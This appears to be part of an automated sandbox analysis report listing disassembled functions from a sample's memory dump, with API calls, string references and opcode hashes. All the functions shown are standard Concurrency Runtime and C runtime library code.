API ID: CurrentListProcess$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateErrorHandleLastLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 165577817-1680012138
Opcode ID: 5dd4c32534201519a395d0f2b6e3ac7a1f19d06286c914d2fe395d5a487be59b
Instruction ID: cbe287f132359f153e9a782fe9b4629a16c196b76f035c5c8ff099613b521ff6
Opcode Fuzzy Hash: 5dd4c32534201519a395d0f2b6e3ac7a1f19d06286c914d2fe395d5a487be59b
Instruction Fuzzy Hash: 86119131500209EBDB14FBA4DC4DFAA7B68BB14701F208516F905B60D2EB749A08DB61

Uniqueness

Uniqueness Score: -1.00%

Function 005A8FA2 Relevance: 13.8, APIs: 9, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b2a9be9485e025d54b9fd5e08114669b6c15f095b93662d0d450c86ea77b547
Instruction ID: 7db8b2560674dd2d5e121e1e09727a045b65fc6162495dbd48252dc14555dce6
Opcode Fuzzy Hash: 4b2a9be9485e025d54b9fd5e08114669b6c15f095b93662d0d450c86ea77b547
Instruction Fuzzy Hash: 66C103B4E0425AAFDF11DFA8C888BADBFB4FF8A304F044559E515AB292D7309D41CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0058B352 Relevance: 13.6, APIs: 9, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0058B374

Part of subcall function 00589729: __EH_prolog3_catch.LIBCMT ref: 00589730
Part of subcall function 00589729: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00589769

Concurrency::details::SchedulerBase::NotifyThrottledContext.LIBCONCRT ref: 0058B382

Part of subcall function 0058A38E: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 0058A3B3
Part of subcall function 0058A38E: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 0058A3D6

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0058B39B
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0058B3A7

Part of subcall function 00589729: InterlockedPopEntrySList.KERNEL32(?), ref: 005897B2
Part of subcall function 00589729: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 005897E1
Part of subcall function 00589729: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 005897EF

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 0058B3F3
Concurrency::location::_Assign.LIBCMT ref: 0058B414
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 0058B41C
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0058B42E
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 0058B45E

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$Context$Throttling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_EntryExerciseFoundH_prolog3_catchInterlockedListNextNotifyProcessor::RingSchedulingSpinStartupThrottledTicket::TimerUntilWith
String ID:
API String ID: 2678502038-0
Opcode ID: 1ea50c4f4d074f9fde3da9c441afe63307541fe3691a517c2200d08f13974f3b
Instruction ID: 66a0b5048519c40353df11b9057e83ef036d7de25e5a7580e26e3dd84c432447
Opcode Fuzzy Hash: 1ea50c4f4d074f9fde3da9c441afe63307541fe3691a517c2200d08f13974f3b
Instruction Fuzzy Hash: A831C330B04256AAEF16BA7844977FEBFBEBF85700F080469DC56F7242DB2449098791

Uniqueness

Uniqueness Score: -1.00%

Function 005943F6 Relevance: 13.6, APIs: 9, Instructions: 69threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0059440C
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,0058971F,?), ref: 0059441E
GetCurrentThread.KERNEL32 ref: 00594426
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,0058971F,?), ref: 0059442E
DuplicateHandle.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000002,?,?,?,?,?,?,0058971F,?), ref: 00594447
Concurrency::details::RegisterAsyncWaitAndLoadLibrary.LIBCONCRT ref: 00594468

Part of subcall function 00583C81: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 00583C9B

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,0058971F,?), ref: 0059447A
GetLastError.KERNEL32(?,?,?,?,?,0058971F,?), ref: 005944A5
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 005944BB

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Current$Concurrency::details::ErrorLastLibraryLoadProcessThread$AsyncConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateHandleReferenceRegisterWait
String ID:
API String ID: 1293880212-0
Opcode ID: 0d8b752fed714e326c4d0d4f5b0560e6d80fc76efc159fd1e848d557c2fddabd
Instruction ID: ab3d6f0e281a88a6a39dc388c40406bb2222f4f1a13604ed0b97c63e2970dd62
Opcode Fuzzy Hash: 0d8b752fed714e326c4d0d4f5b0560e6d80fc76efc159fd1e848d557c2fddabd
Instruction Fuzzy Hash: 4011C375A00201ABCF20AB749D4AF9A3FACBF65700F144525FA49EA152EA3499049F61

Uniqueness

Uniqueness Score: -1.00%

Function 005982B0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 005982E7
___except_validate_context_record.LIBVCRUNTIME ref: 005982EF
_ValidateLocalCookies.LIBCMT ref: 00598378
__IsNonwritableInCurrentImage.LIBCMT ref: 005983A3
_ValidateLocalCookies.LIBCMT ref: 005983F8

Strings

3W, xrefs: 005983BC
csm, xrefs: 0059838D

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: 3W$csm
API String ID: 1170836740-2198161210
Opcode ID: 5094d08d9412cfe5fd619a7a56eae6f7bd70d74a6f086bf4cced6c0977d289d4
Instruction ID: 869a5b240eeb54aa972970d158c7a878188b0841378d03505374046ed37c3510
Opcode Fuzzy Hash: 5094d08d9412cfe5fd619a7a56eae6f7bd70d74a6f086bf4cced6c0977d289d4
Instruction Fuzzy Hash: E141A434A00209ABCF10DF68CC84AAEBFB5BF46714F188559E815AB352DB35EA15CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0059234E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0059238F
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00592397
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 005923C1
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 005923CA
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0059244D
Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 00592455

Strings

3W, xrefs: 005923AB, 00592410, 00592433, 00592464, 0059247B

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupInternalScheduleSegment$AssignAvailableConcurrency::location::_DeferredEventMakeProcessor::ReleaseRunnableSchedulerTraceVirtual
String ID: 3W
API String ID: 3929269971-3302607274
Opcode ID: 9b4d5665a74a00de49349a88ce69d0a7d5ccc3707c49d4e495b6e3f2062a0823
Instruction ID: 6ed8ccdd4979613da2bbc55c08f2e969f5db3c9a2b23f16387ec0042308c54e1
Opcode Fuzzy Hash: 9b4d5665a74a00de49349a88ce69d0a7d5ccc3707c49d4e495b6e3f2062a0823
Instruction Fuzzy Hash: 26411B75A00619AFCF09EF64C458B6DBBB6FF88310F048559E946AB391CB74AE41CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00595597 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 005955B0

Part of subcall function 0059587F: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,005952F8), ref: 0059588F

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 005955C5
std::invalid_argument::invalid_argument.LIBCONCRT ref: 005955D4
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00595698

Strings

pContext, xrefs: 00595690
3W, xrefs: 00595606, 00595627
switchState, xrefs: 005955CC

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::std::invalid_argument::invalid_argument$ExecutionFreeIdleObjectProcessorProxy::ResetRoot::SingleSuspendThreadVirtualWait
String ID: 3W$pContext$switchState
API String ID: 1312548968-2463560764
Opcode ID: b593a6e84c794b2f96e052d166b9c194f796078f7389cab708fb2cba6667fa32
Instruction ID: 8727c1ceeb425f895d279da7df116141370359d710accbde9ba7cf8f60605697
Opcode Fuzzy Hash: b593a6e84c794b2f96e052d166b9c194f796078f7389cab708fb2cba6667fa32
Instruction Fuzzy Hash: 69310631A006059FCF06EF68C899E6D7BB5FF94310F254969E915A7382EB70EE11CB90

Uniqueness

Uniqueness Score: -1.00%

Function 005A235F Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 005A2389
_free.LIBCMT ref: 005A2462
_free.LIBCMT ref: 005A248F

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 5b38d6f3c2ea1312a71feb645d6fcd392aeb0290c7ff842a7cbef530672d369c
Instruction ID: 1bcb3728e9853e162fcdd35196bec926e8db4867c0b567ccdb128951bd1a200e
Opcode Fuzzy Hash: 5b38d6f3c2ea1312a71feb645d6fcd392aeb0290c7ff842a7cbef530672d369c
Instruction Fuzzy Hash: 5C51E2B1D04306AFDF11AFBC8897A6D7FA8BF4B310F14856EE9519B181EB718900DB91

Uniqueness

Uniqueness Score: -1.00%

Function 005704E0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 185COMMON

Download Yara Rule

Strings

list too long, xrefs: 0057099D

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID:
String ID: list too long
API String ID: 0-1124181908
Opcode ID: 19aaa7c1116c2cc1fc34f07242f63db176ae10ff77f68216e6090970dc8be518
Instruction ID: 68df4237521ddaf18f72d6704355b2679cfe4dfd864b0493034651e5dc746a2a
Opcode Fuzzy Hash: 19aaa7c1116c2cc1fc34f07242f63db176ae10ff77f68216e6090970dc8be518
Instruction Fuzzy Hash: 2A61A370D047199BDB20DF64DD49B99FBB8FF54304F0081A9E80CA7292E770AA85DF55

Uniqueness

Uniqueness Score: -1.00%

Function 005915A1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 005915D5

Part of subcall function 0058C9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0058C9C1

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00591634
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0059165A
Concurrency::details::SchedulerBase::ReleaseInternalContext.LIBCONCRT ref: 0059167A
Concurrency::location::_Assign.LIBCMT ref: 005916C7

Part of subcall function 00594DA0: Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 00594DE5

Strings

3W, xrefs: 005915C0, 005916CE

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$Internal$Event$AssignBlockingConcurrency::location::_FindNestingPrepareReleaseSchedulerStealerThrowTraceWork
String ID: 3W
API String ID: 1879022333-3302607274
Opcode ID: 03a7ece641a4d2110b0a95e99cc6617a27d4cbd1c3166cea87e3982a5189b45e
Instruction ID: 1d8f396bc6ad94ee2d102912c11f65a34a8226457e05ab71be07bfd363a83c12
Opcode Fuzzy Hash: 03a7ece641a4d2110b0a95e99cc6617a27d4cbd1c3166cea87e3982a5189b45e
Instruction Fuzzy Hash: 2141F974B006226BDF15AB24C899BBDBF68FF84710F08419DE806A7382CB34AD45CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00582756 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0058275D
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00582787

Part of subcall function 00582E4D: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00582E6A

Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00582804
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00582836
__freea.LIBCMT ref: 0058285C

Strings

3W, xrefs: 00582848

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__freea
String ID: 3W
API String ID: 2497068736-3302607274
Opcode ID: deb77f7b9e7bbceb4f7db793ba9fead2dbb70461264bf002e7f7b8d79e037e43
Instruction ID: 823d6ca8a56b4d0251bd5a5af98c5d414bdb50fcf01d98176ce3656bfaa4f3db
Opcode Fuzzy Hash: deb77f7b9e7bbceb4f7db793ba9fead2dbb70461264bf002e7f7b8d79e037e43
Instruction Fuzzy Hash: 0F318975A002068BDF19EFA8C8415AEBFB4FF49310F24046AE845FB341DB309E02CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00595298 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 85threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 005952F3
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00595312
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00595359

Strings

pContext, xrefs: 0059530A
3W, xrefs: 005952C6, 00595367

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ExecutionFreeIdleProcessorProxy::Root::SpinSuspendThreadUntilVirtualstd::invalid_argument::invalid_argument
String ID: 3W$pContext
API String ID: 1284976207-2240379735
Opcode ID: 75c32b02a110a47bc0195860afeaf475f1b507c41061791ecd542b24bb8ae546
Instruction ID: 391f96ade7798317403bb35d3a89c11f6c444e90bdfebedc6ec394c05af764c4
Opcode Fuzzy Hash: 75c32b02a110a47bc0195860afeaf475f1b507c41061791ecd542b24bb8ae546
Instruction Fuzzy Hash: D6217031700A169FCF16AF34C858B7C7BA5BF90364B040516E515872D1EBA4FC51CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 0058D706 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0058D70D
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 0058D759
std::bad_exception::bad_exception.LIBCMT ref: 0058D76F
Concurrency::SchedulerPolicy::_ResolvePolicyValues.LIBCONCRT ref: 0058D7B1
std::bad_exception::bad_exception.LIBCMT ref: 0058D7DB

Strings

l[[, xrefs: 0058D723

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::PolicyPolicy::_Schedulerstd::bad_exception::bad_exception$H_prolog3_catchResolveValidValueValues
String ID: l[[
API String ID: 921398678-461039541
Opcode ID: fac26ed83d0571ef1edcba31ac484cfcfd19669d32a02bc18f2562932e60509d
Instruction ID: dcd4311923503badb9f86ce93eb1aea6142ac21946057cc0fefe7860abb5caa9
Opcode Fuzzy Hash: fac26ed83d0571ef1edcba31ac484cfcfd19669d32a02bc18f2562932e60509d
Instruction Fuzzy Hash: 34219C719002099FDB08FFA4D88AAADBFF8FF45310B504069E845BB191DB716E01CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0059EA8D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 0059EAF8
api-ms-, xrefs: 0059EAE4

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 864764a579742837718b677fb6df1224878cf5fc3895a740e23417de559aeb16
Instruction ID: dc6ebdce7e7ca1ac22285f745663c40d37e3414328d674483c783e947b9422b5
Opcode Fuzzy Hash: 864764a579742837718b677fb6df1224878cf5fc3895a740e23417de559aeb16
Instruction Fuzzy Hash: 7121D276A01225ABCF31DB649C87A2A7F5ABF51770F250610E807A7291DA30FC04DAE0

Uniqueness

Uniqueness Score: -1.00%

Function 00588913 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 74COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::AddVirtualProcessor.LIBCONCRT ref: 00588972
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00588995
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 005889D7

Strings

ppVirtualProcessorRoots, xrefs: 0058898D
3W, xrefs: 00588940
count, xrefs: 0058892B

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: CacheConcurrency::details::GroupLocalSchedule$Node::ProcessorSchedulingSegmentSegment::Virtualstd::invalid_argument::invalid_argument
String ID: 3W$count$ppVirtualProcessorRoots
API String ID: 18808576-4184174232
Opcode ID: dfcd662feaeea694124546866bafaf86bef16048c922449541779f7848e51131
Instruction ID: 1b20235434d18977c414f5d1fa30085159aceb41d204c0100b5ee89f9b8ac4ac
Opcode Fuzzy Hash: dfcd662feaeea694124546866bafaf86bef16048c922449541779f7848e51131
